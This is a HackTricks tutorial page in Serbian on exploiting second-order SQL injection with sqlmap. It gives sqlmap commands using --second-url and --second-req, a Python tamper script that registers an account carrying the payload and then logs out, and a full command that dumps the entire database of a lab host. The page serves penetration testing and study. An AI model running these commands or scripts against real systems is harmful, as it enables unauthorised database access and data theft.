tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
SQLMap može iskoristiti Second Order SQLis.
Potrebno je obezbediti:
- zahtev gde će sqlinjection payload biti sačuvan
- zahtev gde će payload biti izvršen
Zahtev gde je SQL injection payload sačuvan je označen kao u bilo kojoj drugoj injekciji u sqlmap. Zahtev gde sqlmap može pročitati izlaz/izvršenje injekcije može se označiti sa --second-url
ili sa --second-req
ako treba da označite kompletan zahtev iz datoteke.
Jednostavan primer drugog reda:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
U nekoliko slučajeva to neće biti dovoljno jer ćete morati da izvršite druge radnje pored slanja payload-a i pristupanja drugoj stranici.
Kada je to potrebno, možete koristiti sqlmap tamper. Na primer, sledeći skript će registrovati novog korisnika koristeći sqlmap payload kao email i odjaviti se.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
A SQLMap tamper se uvek izvršava pre nego što započne pokušaj injekcije sa payload-om i mora da vrati payload. U ovom slučaju nam nije stalo do payload-a, već nam je stalo do slanja nekih zahteva, tako da se payload ne menja.
Dakle, ako iz nekog razloga trebamo složeniji tok za iskorišćavanje druge vrste SQL injekcije kao što je:
- Kreirati nalog sa SQLi payload-om unutar "email" polja
- Odjaviti se
- Prijaviti se sa tim nalogom (login.txt)
- Poslati zahtev za izvršavanje SQL injekcije (second.txt)
Ova sqlmap linija će pomoći:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.